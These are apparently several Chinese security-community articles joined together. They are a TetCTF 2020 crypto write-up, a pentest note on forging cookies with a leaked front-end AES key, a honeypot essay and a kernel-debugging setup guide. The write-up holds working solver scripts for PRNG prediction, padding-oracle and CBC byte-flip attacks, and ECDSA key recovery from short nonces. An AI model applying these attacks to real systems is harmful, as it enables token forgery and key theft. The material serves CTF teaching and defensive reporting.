分析一下源码，可知程序使用python的random模块连续生成了2019个随机数，我们可以选择查看这2019个随机数中任意2个随机数的值，我们的任务是预测出接下来要产生的第2020个随机数的值，如果预测成功即可获得flag。
通过查阅python的random模块，可以得知其在生成随机数时使用了[梅森旋转算法](https://en.wikipedia.org/wiki/Mersenne_Twister)，且其版本为MT19937，即该PRNG采用32位的state和32位的输出，我们可以找一版python的MT19937
Mersenne Twister PRNG来看一下（p.s.
维基百科上提供了梅森旋转算法的伪代码，有兴趣的读者可以自己实现一版，这同样也是[cryptopals](https://cryptopals.com/sets/3/challenges/21)当中的一个任务）：
class MT19937RNG:
def __init__(self, seed):
self.MT = [0] * 624
self.index = 0
self.MT[0] = seed & 0xffffffff
for i in range(1, 623+1):
self.MT[i] = ((0x6c078965 * (self.MT[i-1] ^ (self.MT[i-1] >> 30))) + i) & 0xffffffff
def generate_numbers(self):
for i in range(0, 623+1):
y = (self.MT[i] & 0x80000000) + (self.MT[(i+1) % 624] & 0x7fffffff)
self.MT[i] = self.MT[(i + 397) % 624] ^ (y >> 1)
if (y % 2) != 0:
self.MT[i] = self.MT[i] ^ (2567483615)
def extract_number(self):
if self.index == 0:
self.generate_numbers()
y = self.MT[self.index]
y = y ^ (y >> 11)
y = y ^ ((y << 7) & (0x9d2c5680))
y = y ^ ((y << 15) & (0xefc60000))
y = y ^ (y >> 18)
self.index = (self.index + 1) % 624
return y
审计代码可知，该PRNG在初始化时会建立一个长度为624的数组MT，使用extract_number函数来生成随机数，第一次生成随机数时会调用generate_numbers函数来更新MT数组的值，之后每连续生成624个随机数，都会使用generate_numbers函数来更新MT数组的值。而extract_number函数的过程是可逆的，这意味着如果我们知道一个`randomnum[i]`，我们是可以求出其对应的`MT[i]`的。另外，如果我们知道了MT[2019]，可以很容易的根据extract_number计算出`randomnum[2019]`（即第2020个随机数），因此我们的重点只需放在generate_numbers函数，来想办法计算出`MT[2019]`即可。
观察generate_numbers函数可以发现，由于generate_numbers函数是每生成624个随机数调用一次，即`MT[i+624]`的值是由`MT[i],MT[i+1]和MT[i+397]`生成的，我们令`i=1395`，此时即`MT[2019]`可以由`MT[1395],MT[1396],MT[1792]`这3个数计算而来，但是我们只能获取最多2个数的值，还缺少一个数的值无法获取。
继续观察generate_numbers函数的运算流程，发现在关于`MT[i]`参数的运算为`(self.MT[i] &
0x80000000)`，其运算结果不是0（当0<=MT[i]<0x80000000时）就是0x80000000（当0x80000000=<MT[i]<=0xffffffff时），即我们可以遍历所需要的3个参数中第一个参数的值，另外两个MT的值采用程序提供的接口来获取，这样就有50%的概率可以计算出正确的MT[2019]的值，然后再计算出randomnum[2019]的值尝试提交。由于正确的概率想到高，因此尝试几次即可获得flag。
将上述推导写成python代码形式如下：
import random
from pwn import *
def USR(x, shift):
res = x
for i in range(32):
res = x ^ res >> shift
return res
def USL(x, shift, mask):
res = x
for i in range(32):
res = x ^ (res << shift & mask)
return res
def randomnum_to_MT(v):
v = USR(v, 18)
v = USL(v, 15, 0xefc60000)
v = USL(v, 7, 0x9d2c5680)
v = USR(v, 11)
return v
def MT_to_randomnum(y):
y = y ^ (y >> 11)
y = y ^ ((y << 7) & (0x9d2c5680))
y = y ^ ((y << 15) & (0xefc60000))
y = y ^ (y >> 18)
return y
def solve(a, b):
res = []
MT_iadd1, MT_iadd397 = randomnum_to_MT(a), randomnum_to_MT(b)
for msb in range(2):
y = (msb * 0x80000000) + (MT_iadd1 & 0x7fffffff)
MT_i = MT_iadd397 ^ (y >> 1)
if (y % 2) != 0:
MT_i = MT_i ^ 0x9908b0df
res.append(MT_to_randomnum(MT_i))
return res
while True:
s = remote("207.148.119.58", 6666)
s.sendline("1396")
s.sendline("1792")
guess = []
for _ in range(2019):
a = s.recvline().strip()
if "Nope" not in a:
guess.append(int(a))
res = solve(*guess)
s.sendline(str(res[0]))
resp = s.recvline().strip()
if "TetCTF" in resp:
print resp
exit(0)
执行脚本即可得到flag：
TetCTF{y0u_4r3_1nd33d_4_pr0ph3t}
## commonfactor
题目描述如下：
What if each modulus has a prime factor that close to each other?
Files:[commonfactor.zip](https://github.com/ichunqiu-resources/anquanke/blob/master/008/commonfactor.zip)
分析一下源码，发现我们的任务是已知`e, n1, n2, n3, n4, c1, c2, c3, c4`的值，满足：
c1 ≡ flag^e (mod n1)
c2 ≡ flag^e (mod n2)
c3 ≡ flag^e (mod n3)
c4 ≡ flag^e (mod n4)
其中`ni`可以写为：
ni = (p0+ai)*qi
`p0,ai,qi`均为未知数，但是我们知道这几个参数的比特数（分别为2048 bit、512 bit和1024 bit）。
根据`ni`的表达式，我们有：
q1*n2 - q2*n1
= q1*(p0+a2)*q2 - q2*(p0+a1)*q1
= q1*p0*q2 + q1*a2*q2 - q2*p0*q1 - q2*a1*q1
= q1*q2*(a2 - a1)
根据该表达式，我们可以建立如下方程组：
q1*n2 - q2*n1 = q1*q2*(a2 - a1)
q1*n3 - q3*n1 = q1*q3*(a3 - a1)
q1*n4 - q4*n1 = q1*q4*(a4 - a1)
q2*n3 - q3*n2 = q2*q3*(a3 - a2)
q2*n4 - q4*n2 = q2*q4*(a4 - a2)
q3*n4 - q4*n3 = q3*q4*(a4 - a3)
设`s[i,j] = qi*qj*(ai - aj)`，整理得：
n2*q1 - n1*q2 - s[1,2] = 0
n3*q1 - n1*q3 - s[1,3] = 0
n4*q1 - n1*q4 - s[1,4] = 0
n3*q2 - n2*q3 - s[2,3] = 0
n4*q2 - n2*q4 - s[2,4] = 0
n4*q3 - n3*q4 - s[3,4] = 0
该方程组共`q1,q2,q3,q4,s[1,2],s[1,3],s[1,4],s[2,3],s[2,4],s[3,4]`这10个未知数，通过观察发现，`s[i,j]`大约为2560比特（1024+1024+512），而`ni`大约为3072比特（2048+1024），即`s[i,j]`同`ni`相比较小，因此我们可以考虑采用[LLL算法](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)，利用格基规约的思想来计算出格中向量（即`q1,q2,q3,q4,s[1,2],s[1,3],s[1,4],s[2,3],s[2,4],s[3,4]`），将上推导过程写成SageMath代码如下（注意，矩阵中前4列K设为2**1536是鉴于qi约为1024比特，而s[i,j]约为2560比特，因此计算得K约为2560-1024=1536比特）：
from Crypto.Util.number import *
data = [((65537, 1569550063055353702062251622140405741164543885895263716006311290669305518774643620241669255260173008709010777432822095605109572129277181116066934393938913194634071173571789450658930352812799017920168864490575696448185577689815549941469079131071103077726355198947488827984628323233221969365714243695334163539732217581013202447968200349694743372108785700167811700154461822011593758838103682584293207390265904896690779335861085789680612320987714538790079517857825517341064238474276090581570268680801110977426713251313985654692074627771968221263628566577663292273864788031693728920793663002764518270439846047430644492176906880059059757415785299265568994209893143584242526018633538624991827790348379585727698363216989988605329417015614749367997396020210490795394806634640415760285432494176804052664955540791844765635239921663181473515232520585476564852497075855687754109417808350181599443473343426564161709223282835203442809017719), '2a3635ef543e23b8890c3c7fb9dc0035cb76e72fbcd4388b1362ae47c66a2f84a19895d769fb32a43aca96059c03cfa0ddee1285ae53f6e3cd3abfaa2b2d4efe025f02b0a2ed9ab69801b53f1f78c631ddd5b3a50c696132af348b988ba055bb1506555e1a9b64f7ef9725addabca6b2cff4fe9622a0f22710f2c3bb7a0b5975fe5bba6576b5a5a47261d149fc8450aa548d70873480cfdc760574593b7fccd2e0d4a3aa862b731c2042a2353f974e7602106117de91949c755bb1b2ebfde0c7ecc33f78fd7ad3c4174b85f50ada6e56caf9a84761489fddbfcb9920cd500d3c2bf99b80cb3339f609659763ff90cd98fa4e4b76059316d69300ff581b1b7339e33784665fdc32d471a45bcc9e64b52308fd610356f1f7845dca3cf8ca50415e3b355a31f8e6e28c6f55ea48afc64518366ee37374ad0de07ae0dd72a9777f99fa38fed2efaf5a1adb8347753aded0c63495ec5645286814f6fb65e80b388028be91948e8fcc3e9725f59ef6c3aa3347b1114f50b6f246c409d7345a95e27c9a'), ((65537, 2730283999793749264071994226279314691204895377404209565102825207699012231964571371393565413047501757446096028236098715505064861045733353396025801293513027886331405786693625981806024261090773960211723151228583932366854870779329338093342110116239823692446625908148569295349026098714317035693497738564674630046858940758268904883253130893434520330702974774740936668070921709593901397140514831064190173236110424772839521534745874746094149570949799151876580658630054731546971832113713586531173316705765487046247502189588416101732562581007651101065666702695240388669899916625981732500919162710884254165127397187535845159165998232131583784946310754662937729402163425101195112360330284894990617298955741961418495852029683443729778504126937607369357318043051374289892542351932602544495709781266606022658359744825356895011618431466585793664964295808363804430145778026353089508091611151785476160457795461698721421465059644656840014600041), '026d719accd581bf22171ac26ea1f7cbe8e260cd24450ff59f85b8421d9a779fbaf36e1acbd67d41280ccf439de5b5f8027a9d18b1e938156682f3bf9f761cafbecfc23c39abc82f6d5e7a4c66e6f435e7d42a5e1ed77fddcbb3a239bba506f23a92f6f57a2657b4b2deb1fef1c1058ba823786679e2e9c3ed7f59c1a6caf7a9fb21c3ab85f09c18dc2ae70676c73e75db6db3b92f5ac60f500582977d3ed496ef0453c5af849c553b7fe19aee6b93d1ca2e8476b53a6b97a03d499b58a2f1b93d4517d703cebba82ddc716410d973bc5321c10d2a8c7303218a2c74bec545b17c13a82deea95b23d691b34f48660e2d870da8db94be02f648f1659cd498d6fd3e3045aa4dd95edbceb401d4a91c135ddfa3d4663e2ebebc4e95f4e9c2b35abfe8b6b602ad6c325f7683e999573cfbe207e0eb8c03d8e36c6f05aa830b3a7ebd9ed8bdd398684187df412ce314954fb5dafe70968dd4f8ae5013853748154c4d3da3d98f9a38f0861bbf17901335771ccb20d5459a24d9d3c79fb6c1e476e255'), ((65537, 1657924959258427226307055128056402549049658652459789576664039012048766540305618951414934786898658966332588809718413923122757875484373037540477722388638858840553898318448626423532633906716310030105130220972278335649446578557159040826543453673941238724891568284827700166830419306376245310916788207429484546008057506662687383202131145958184896298361743446184460904711938203945290001030935479432306677809636841024967980503938216612051167394878501381482352098157599786486983098492823924154622607669864184134461471518206144965857276719217971497293243585472164850309399795206985218997770181188717957316358992357240612579079388186461595164275424746021207041500591749112264695684877167817330714551838424537679384766153692744343813935326599234507761125601864336402749915632919491226732249503422131540162743886991909428277721627830367633020694730720233889895699382127886525607643971481037152168998649018674269175967386808314905895314197), '0f468c7cb9bd432f3646babfa669613b83d6bf2db8ec905f10ad1b9c5f7fd75d842036235b714f86a1b7198f8f973f12c270728ae8591687627525c1e54acf9382c13db98892ec7050dd099527e84835e9890122ef22e1b879236c2f0e26efe1589436d12554fce271ea91e11edbe4c2357eca55c63ecc8e2b23e6d66d9f4a841810d633bf3e4ccb988ceffacedfacb7901f6dab2efcacd95044b0e4e217949c84438310808afa1dfface3adf1dd266e7d9381878227c6040c266d69e71283c23f7864b48bdcf7a964744581575b1cb97213fee4e4071b9b1d0c58611a8934dec1e03f3a9ed981be5403b464e8f4419b823e38bf91f11b023ccc2e01a73def95b990c19c5d2eae9b687f9ab6a704591b3bd9e72addacbefc88fe05ae2c752ebb02895ee105fe74911352ed7bee2a7fb228f1d54fdaef84bd35a67f2f2304017cb83552b2907378ad7c66c7deafb99b0f9d2ce773e1356740844a9911a1e6f253b37cfe6ee16cbae039cfb6749e37bfded30d9baf59b8885d90417c377a147ee0'), ((65537, 3110983727661077937376483862188516844290042596812999305612957161800816904909443569902815766791831716284243968496162996466265930191168784893609334033188775609333281859333753210203804896424511597949940464238543873038000953406791059640295024235321865958267828973182348676239507210900448468842637639173505565493171932934892943628388379309785199843742769621576222396095887453166229610793369913897213948204383648981616627432221090548043925906077201237965560335631118150165890050551079019918702281461877104615212668635883055429384473604595031546202824294553045455954363988428330149396318900050555119058365566287024446487265976507415428817694045660559396737370223118169785779836592977584710981448734152325507656805905400453259442794406092886306392902382083271202964538178390354974828834963375811565387903407912909084458524154107388099011117741856972886184901943539374501035824626968500926567510870331630818145831137375610941414399811), '7f1c2ef0982ee47fea224465ac11c723ed16cd05b204119276e9f2a62eda32f997f47ce0dc7561a7d0d9c6552ecceb8d4b6c85644dfe543553168b4642affbcdd43efb8e9dfe2edeb47f16404cca166386eb4e335c69eaafc81b45993ce177c608f9dbaa8b68278a9288ba8cf98dbca111daa5271bd47dac3edf29d04331dc65a3b5a131b582b4be1410bd6145211225f8ff51bbcfd131fb8698233cd9d92d63adc6dcdb1a7e27e6064f5c6275476832ef57564425057ae72e84cf718a91cbe47c6d2c14ca4bd6b9595e003cf4f3cbbe65af93ad6acee5e8ef31f07bd801831089cdc34593c1fd3bef4a04ffc3024d06b674effa25af9a540897fcf02ff94caab41a4cb7eaa40cc111b72d5e361e51b9b583571cfd051468887f1a9cf264fa6fdc7f342e0d146650fdb96b8a9085fc4493af877fb6ff886dc36b8bd1b02b72fdde03aa02a92b5ec921e51fe379d76103b845e12630639d3f542e65a105924c83f8cc58c3f15c477be6d36433ad8bcb6897189b8f9b95a71f8ef674c7e8a9e9a8')]
e = 65537
c1 = int(data[0][1], 16)
nlist = [x[1] for x, _ in data]
n1, n2, n3, n4 = nlist
n = 3072
t = 2048 - 512 - 1
K = 2^1536
M = Matrix(ZZ, [[K, 0, 0, 0, n2, n3, n4, 0, 0, 0],
[0, K, 0, 0, -n1, 0, 0, n3, n4, 0],
[0, 0, K, 0, 0, -n1, 0, -n2, 0, n4],
[0, 0, 0, K, 0, 0, -n1, 0, -n2, -n3]])
q1 = M.LLL()[0][0] / K
p1 = n1 / q1
phi = (p1-1)*(q1-1)
d1 = inverse_mod(e, phi)
print long_to_bytes(pow(c1, d1, n1))
执行脚本即可得到flag：
TetCTF{_0oops____th3_tw0_pr1m3_f4ct0rs_sh0uld_b3_0f_th3_s4m3_s1z3____4r3n't_th3y_?}
## padwith2019
题目描述如下：
Pad with 2019 in 2020! Let your past go!
nc 207.148.119.58 5555
Files:[padwith2019.zip](https://github.com/ichunqiu-resources/anquanke/blob/master/008/padwith2019.zip)
审计源码可知，本题需要我们连续完成2个任务，一个是解密token，从而拿到flag的前半部分；另一个是伪造token，从而拿到flag的后半部分。
在计算token时，先对msg进行pad，再进行AES-CBC加密；解密时先解密，再进行unpad，另外服务器端充当了一个padding
oracle，可以告诉我们解密后的消息是否padding正确，根据这些特征很容易联想到CBC字节翻转攻击，关于CBC字节翻转攻击的细节可以参考[这里](https://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/#gref)。对于flag的前半部分，我们可以一字节一字节的恢复，从`x00`开始不断试错，如果收到报错提示，则尝试发送下一字节，否则就存储该字节；对于flag的后半部分，我们想要使得`obj['admin']
== True`，只需翻转`fals`为`tru`。将上述攻击过程写成python代码形式如下（flag前半部分）：
import json
from os import urandom
from pwn import remote, process
from string import ascii_letters, digits
from itertools import product
PAD = (("2019") * 8).decode('hex')
def get_paddings_dict(n):
ans = {}
for i in range(n):
ans[i] = pad(i+1)
return ans
def pad(n):
pad_length = n
return chr(pad_length) + PAD[:pad_length - 1]
def crack_byte(token, pos, i):
token[pos] = i
return ''.join('{:02x}'.format(x) for x in token)
def find_pad(r, token, pos, last_x):
token = bytearray(token)
padings = get_paddings_dict(pos+1)
if pos:
token[0] = last_x[0] ^ ord(padings[0][0]) ^ ord(padings[pos][0])
for j in range(1, pos):
token[j] = last_x[j]
for i in range(256):
payload = crack_byte(token, pos, i)
r.sendline(payload)
ans = r.recvline()
if i % 64 == 0:
print("current step: ", pos, i, ans)
if 'padding' in ans:
continue
else:
return i
raise Exception("All padings are incorrect")
if __name__ == '__main__':
r = remote("207.148.119.58", 5555)
token_hex = r.recvline(False)
print(token_hex)
token = token_hex.decode('hex')
parts = [token[i:i+16] for i in range(0, len(token), 16)]
known = "TF{***********"
flag = ''
exp_pad = pad(1)
c1 = parts[2]
c2 = parts[3]
last_x = []
for i in range(len(known)):
exp_pad = pad(i+1)
x = find_pad(r, c1+c2, i, last_x)
i2 = x ^ ord(exp_pad[i])
ch = chr(i2 ^ ord(c1[i]))
if i < len(known) and ch == known[i]:
flag += ch
print("Horay!", flag)
last_x.append(x)
else:
flag += ch
print("Is it right?", flag)
last_x.append(x)
print('TetC' + flag[:-2])
执行脚本即可得到前半部分flag：
TetC{p4dd1ng_4t_
flag后半部分脚本如下：
import json
from os import urandom
from pwn import remote, process
from string import ascii_letters, digits
from itertools import product
def crack(token):
test_token = bytearray(token)
test = b'x02 {"admin": fals'
for i, (x, y) in enumerate(zip(test, b'x01{"admin": true}')):
test_token[i] ^= ord(x) ^ ord(y)
return ''.join('{:02x}'.format(x) for x in test_token[:32])
if __name__ == '__main__':
r = remote("207.148.119.58", 5555)
token = r.recvline(False).decode('hex')
new_token = crack(token)
r.sendline(new_token)
r.interactive()
执行脚本即可得到后半部分flag：
th3_b3g1nn1ng_d03s_n0t_h3lp}
拼接前后两部分即可得到完整flag：
TetCTF{p4dd1ng_4t_th3_b3g1nn1ng_d03s_n0t_h3lp}
## yaecc
题目描述如下：
Who knows the backdoor wins!
nc 207.148.119.58 7777
Files:[yaecc.zip](https://github.com/ichunqiu-resources/anquanke/blob/master/008/yaecc.zip)
审计代码可知，题目模拟了一版[ECDSA](https://en.wikipedia.org/wiki/ECDSA)（NIST-p256
曲线）的实现，我们的任务是根据若干消息/签名对来求私钥，为了便于描述我们先描述一下本题用到的符号系统：
(R,S):签名
a:私钥
k:nonce
H:msg的哈希值
N:曲线的点群阶
在ECDSA中，有如下表达式成立：
R*a − S*k + H ≡ 0 (mod N)
根据ECDSA算法，当对消息进行签名时，nonce应当随机均匀的从区间[0,N)当中进行选择，以p256为例，N的大小应当为256比特，但是在本题当中，nonce只有240比特，因此我们可以考虑将我们本题当中的问题（根据消息/签名对求私钥）转化为格上的[CVP问题](https://en.wikipedia.org/wiki/Closest_vector_problem)。
假设我们已经收集了D对消息/签名对，此时有：
Ri*a − Si*ki + Hi ≡ 0 (mod N) i=1,2,3,...,D
等式两边乘上`Si`的逆，得：
(Si^(-1))*Ri*a − ki + (Si^(-1))*Hi ≡ 0 (mod N)
设`Ai = (Si^(-1))*Ri`，`Bi = -(Si^(-1))*Hi`，整理得：
Ai*a ≡ Bi + ki (mod N)
即：
Ai*a - li*N = Bi + ki （li为整数）
将方程用向量形式表示如下：
其中(1/2**16)是根据256（a的比特数）-240（k的比特数）= 16计算而来。
对于每一个表达式`Ri*a − Si*ki + Hi ≡ 0 (mod
N)`来讲，一对消息/签名对就可以提供私钥的16比特的信息，因此理论上来讲D（即消息/签名对的对数）= 256/16 =
16即可，在写脚本时我们收集的数量比这一理论值略多一些即可。
将上述推导写成SageMath代码形式如下：
from sage.all import *
from pwn import *
from hashlib import sha256
import os
from Crypto.Util.number import bytes_to_long
EC = EllipticCurve(
GF(0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff),
[-3, 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b]
)
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
Zn = Zmod(n)
G = EC((0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5))
P = G
Q = EC((0xc97445f45cdef9f0d3e05e1e585fc297235b82b5be8ff3efca67c59852018192,
0xb28ef557ba31dfcbdd21ac46e2a91e3c304f44cb87058ada2cb815151e610046))
pubkey = EC((50590195252452518804028762265927043036734617153869060607666882619539230027822,
36611353725619757431858072740028832533174535444901899686884685372270344860185))
class DualEcDrbg(object):
def __init__(self, seed):
self.s = ZZ(bytes_to_long(seed))
def next_bits(self):
self.s = ZZ((self.s * P)[0])
return ZZ((self.s * Q)[0]) & (2 ** 240 - 1)
def sign(private_key, message, rand):
z = Zn(ZZ(sha256(message).hexdigest(), 16))
k = Zn(rand.next_bits())
assert k != 0
K = ZZ(k) * G
r = Zn(K[0])
assert r != 0
s = (z + r * private_key) / k
assert s != 0
return r, s
data = []
for _ in range(50):
s = remote("207.148.119.58", 7777)
m = eval(s.recvline())
sig = eval(s.recvline())
data.append((m, sig))
s.close()
print len(data)
print data[0]
with open("data.txt", "w") as f:
f.write(str(data))
size = 20
m = []
Ai = [-1]
Bi = [0]
r0, s0 = map(Zn, data[0][1])
z0 = Zn(ZZ(sha256(str(data[0][0])).hexdigest(), 16))
for i in range(size):
message, sig = data[i+1]
ri, si = map(Zn, sig)
zi = z = Zn(ZZ(sha256(str(message)).hexdigest(), 16))
A = - (s0 * ri) / (r0 * si)
B = (z0 * ri) / (si * r0) - zi / si
Ai.append(A)
Bi.append(B)
Ai.append(0)
Bi.append(n//2^16)
m.append(Ai)
for i in range(size):
m.append([0]*(i+1) + [n] + [0]*(size-i))
m.append(Bi)
m = Matrix(ZZ, m)
mLLL = m.LLL()
for irow, row in enumerate(mLLL):
k0 = Zn(row[0])
d = (s0*k0-z0)/r0
if pubkey == ZZ(d)*G:
print d
break
k0 = Zn(-row[0])
d = (s0*k0-z0)/r0
if pubkey == ZZ(d)*G:
print d
break
msg2 = b"I am admin"
rand = DualEcDrbg(os.urandom(16))
sig = sign(ZZ(d), msg2, rand)
s = remote("207.148.119.58", 7777)
s.sendline(str(sig))
ret = s.recvline()
print ret
执行脚本即可得到flag：
TetCTF{_0oops____Sm4ll_k_ru1n3d_th3_p4rty_}
## 参考
<https://en.wikipedia.org/wiki/Mersenne_Twister>
<https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm>
<https://en.wikipedia.org/wiki/Closest_vector_problem>
<https://en.wikipedia.org/wiki/ECDSA>
<https://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/#gref>
<https://colab.research.google.com/github/nguyenduyhieukma/CTF-Writeups/blob/master/TetCTF/2020/tetctf.ipynb#scrollTo=ag8wJh58Jbyg>
<https://github.com/QyNh/TetCTF-2020>
<https://github.com/amoniaka-knabino/CTF-writeups/tree/master/CTFs%202020/TetCTF/padwith2019> | 社区文章 |
## 一、概述
### 1.1 登录逻辑
系统开放3012、12017两个端口，前者为身份认证接口，以json形式返回token与权限参数，后者为业务系统，前端调用js-aes对json加密得到cookie
### 1.2 漏洞成因
业务系统与接口彼此独立，仅验证token真实性，未检测cookie完整性，攻击者能解密cookie则可修改参数实现越权，而系统采用不安全的前端加密，导致漏洞产生
## 二、过程
### 2.1 js信息泄露
settingService.js，泄露aes密钥 _1234567812345678_ 与偏移向量 _1234567812345678_
### 2.2 漏洞验证
对cookie解密得到json数据流
发现role等关键参数，默认1为真
使用全0与全1测试，验证漏洞存在
### 2.3 其他
登录名受cookie控制
写入js弹窗，可行
## 三、复测
已修复后端验证逻辑，但前端AES加密过程依然可见 `Ctrl+shift+f` 全文搜索 `encrypt` ， `login.min.js` 文件中发现
key 与 iv
## 四、修复思路
前端：
* 使用对称加密方法，避免明文存放关键数据，提高数据获取门槛
* 采用非对称加密方式，前端使用公钥对数据加密，后端使用私钥对数据解密
后端：
* 验证数据完整性 | 社区文章 |
将蜜罐技术应用到内网攻击感知中，一篇硕士论文的研究过程与demo实现，抛砖引玉。 **题图**
为原论文摘要的简单分词统计。计划的系列文章内容分为以下几个部分：
1. **蜜罐与内网安全选题思考**
2. 蜜罐技术科普与发展简述（2016年）-本文
3. 常见内网攻击类型及检测思路
4. 多款开源蜜罐数据样例与应用分析
5. 攻击序列、攻击模式与攻击者标签
6. 攻击模式匹配算法提出
7\. demo系统设计
8\. demo实现过程中的一些技术点
7. 实验室环境下的测试过程
8. 我的论文小结（附参考文献列表）
在技术研究、系统实现和论文撰写的过程中，感谢我的导师F与师兄[ourren](http://www.ourren.com/)的指导，还有项目小组的师弟师妹们的支持与合作，尤其是[phantom0301](http://phantom0301.cc)和[simmin](https://simmin.github.io/)在编码实现上的努力。从研究思路到demo系统实现，能在撰写论文的同时将学到的知识技能，学以致用到解决实际的安全问题上，
**那段忐忑与激情并存的论文时光是我读书生涯最好的纪念** 。
* * *
李开复读博的时候，他的院长曾问过他：“什么是做博士的目的？” 他脱口而出：“就是在某一个领域做出重要的成果。”
**院长说：“不对，读博士，就是挑选一个狭窄并重要的领域作研究，毕业的时候交出一篇世界一流的毕业论文，成为这个领域里世界首屈一指的专家。任何人提到这个领域的时候，都会想起你的名字。”**
我没有继续读博士， **因为我觉得生活不止眼前的苟且，还有诗和甲方**
，于是我投身到互联网公司，成为一名互联网安全小兵(<http://www.freebuf.com/articles/network/111071.html>
(之前写的一篇打杂文)...扯远了，但是关于当初选择读研究生的初衷，除了觉得本科那几年掌握的专业技能还不够，还想在学校里多待几年之外，也想能通过几年的实验室科研训练，在喜欢的方向有更深入的研究，然后写一篇有意义的毕业论文，作为自己学生生涯的纪念。
我从初中QQ被盗起，梦想就是当一个黑客，本科学习信息安全，研究生主要方向为Web攻防，接触工程实践比较多，学术化较少，在学术上没有取得什么成绩，这是我学术上的遗憾。但能将所学的安全技术应用到解决实际的安全问题中，也是我感兴趣的方向，我的毕业论文也侧重于工程实践，觉得既然要做得有意义在总结理论撰写文章的过程中就要同步实现它，这样才算是一篇有实际成果的论文。
那当初选题的时候为什么确定了 **蜜罐和内网安全** 这个方向呢？
# 0x01 内网就意味着重要信息资产
既然是研究Web攻防，少不了渗透测试，那在渗透测试的过程中，取得外网可访问的单台服务器权限后，下一步往往就是以所控制的服务器为跳板向未直接暴露在公网的内网服务器进行进一步渗透，俗称“内网渗透”。而且
**内网往往意味着重要信息资产，数据库服务器、文件服务器等往往都部署在内网**
。我们觉得既然重要，那肯定会严防死守，但是从当时调研的情况看，现实情况往往是，当边界防护被突破后，很多企业或机构
**在内网被攻击者当做后花园畅游乃至被拖库后还不自知** ！
当时，我通过采集wooyun平台从2010年7月13号到2016年3月14号的漏洞标题数据共计91579条，简单关键词统计发现，
**内网的漏洞占比在逐年增长** 。
因此，
**我觉得当时去研究内网安全保障中的内网攻击感知和攻击预警问题有实际的意义，要让网络管理员能及时察觉内部网络正在被攻击并且能够定位攻击源进而采取措施**
，而不至于当重要信息资产被侵害后还不自知。
# 0x02 蜜罐与内网的结合
在确定论文题目之前，我就实际测试和搭建过基于MHN现代密网和树莓派的蜜罐，也写过一篇文章[《基于MHN开源项目的树莓派蜜罐节点部署实战》](https://sosly.me/index.php/2017/07/11/mhndionaea/)，主要是当时在国外留学的师兄觉得蜜罐这个方向不错，值得研究，就让我试试。
蜜罐简单说来，是一种存在漏洞的、 暴露在网络中的一个虚假的服务（器），其价值在于被扫描、 攻击和攻陷。
> if 系统没有对外开放任何真实的服务
> then 任何一个对它的连接尝试都是可疑的
**相比传统的防火墙技术和入侵检测技术，蜜罐技术更加主动和隐蔽，蜜罐的主要优势在于能诱导和记录网络攻击行为，阻止或延缓其对真正目标的攻击，而且能记录攻击日志，便于审计和回溯**
。
但是就像文章[《基于MHN开源项目的树莓派蜜罐节点部署实战》](https://sosly.me/index.php/2017/07/11/mhndionaea/)的那个小实验，如果将蜜罐部署到外网，每天都能收到记录大量的攻击日志，很多只是批量的扫描，并不是针对性的攻击，这些行为说明不了什么问题。但
**是在内网不一样，因为默认情况下我们认为内网正常用户不会去扫描或者攻击，那么一旦内网的蜜罐捕获到可疑连接尝试，那就可以认为出现了攻击行为** 。
因此，我觉得 **将蜜罐技术应用到内网的攻击感知，天生就不用太考虑误报的问题，问题更聚焦** 。
所以当时我觉得 **蜜罐和内网安全**
这个方向对我来说，议题有实际的应用价值，难度我也能接受，而且当时蜜罐还没有再次火起来，努努力也能做出一些成果和小的创新。关键是我也挺感兴趣的，兴致来了，过程也比较有激情，光树莓派蜜罐终端我都做了几个不同外壳的款式，觉得好玩~
而到我论文完稿后不久，也发现，蜜罐的应用也开始在一些安全会议中再次被讨论，比如：
**说明蜜罐这个选题当时还是挺与时俱进的，高兴** ~当然我这里只是小打小闹。
业界将蜜罐技术应用到入侵欺骗中并作出优秀产品的大牛团队，比如[默安](https://www.moresec.cn/)和[锦行](http://www.jeeseen.com/)，还是很令人向往的。争取有机会能够感受他们的产品。
_系列文章，未完待续_...
* * *
_也欢迎访问我的博客 ：sosly 菜鸟笔记_
<https://sosly.me/> | 社区文章 |
#### **0x00 前言**
这段时间开始学习了linux内核提权，也跟进看了一些漏洞。但是由于linux系统版本、内核版本的不同，驱动模块或者是某个函数的加载地址都是不同的，如果不能自己亲自调试内核，就算给了exp也是无法利用。之前也没有怎么接触过内核调试，所以这几天找了许多资料开始学习调试内核的方法，总结整理在这。
本文测试系统是Ubuntu12.04 64位。
#### **0x01 准备环境**
首先当然是准备需要调试的内核版本，linux的所有历史版本都可以在[这里](https://www.kernel.org/pub/linux/kernel/)找到。
down下来后进入源码树根目录，开始配置内核，这里使用基于ncurse库编制的图形界面工具：
`$ make menuconfig`
由于我们需要使用kgdb调试内核，注意下面这几项一定要配置好：
KernelHacking -->
* 选中Compile the kernel with debug info
* 选中Compile the kernel with frame pointers
* 选中KGDB:kernel debugging with remote gdb，其下的全部都选中。
Processor type and features-->
* 去掉Paravirtualized guest support
KernelHacking-->
* 去掉Writeprotect kernel read-only data structures（否则不能用软件断点）
保存config文件之后make、make modules_install、make install编译安装就好。
具体安装编译内核可以看我另一篇[笔记](http://2456cc35.wiz03.com/share/s/0AlIMR0YIkmh2tjeP42sDMEN2cppy23AfkXs2
--YCH1Y7_ne)
#### **0x02 使用kvm、gdb调试内核**
先介绍一下现在用得比较多的调试内核方法吧，简单地说就是在linux系统里再装一个kvm虚拟机配置好gdb远程调试支持，然后在linux主机上连接调试。但是我因为电脑配置不高，装了kvm太卡就放弃了这个方法orz
总之还是讲一下怎么调试吧。
查看cpu是否支持，如果没有输出，要在虚拟机设置里选上Inter VT:
`$ grep vmx /proc/cpuinfo`
安装：
`$ sudo apt-get install kvm qemu libvirt-bin virtinst virt-manager virt-viewer`
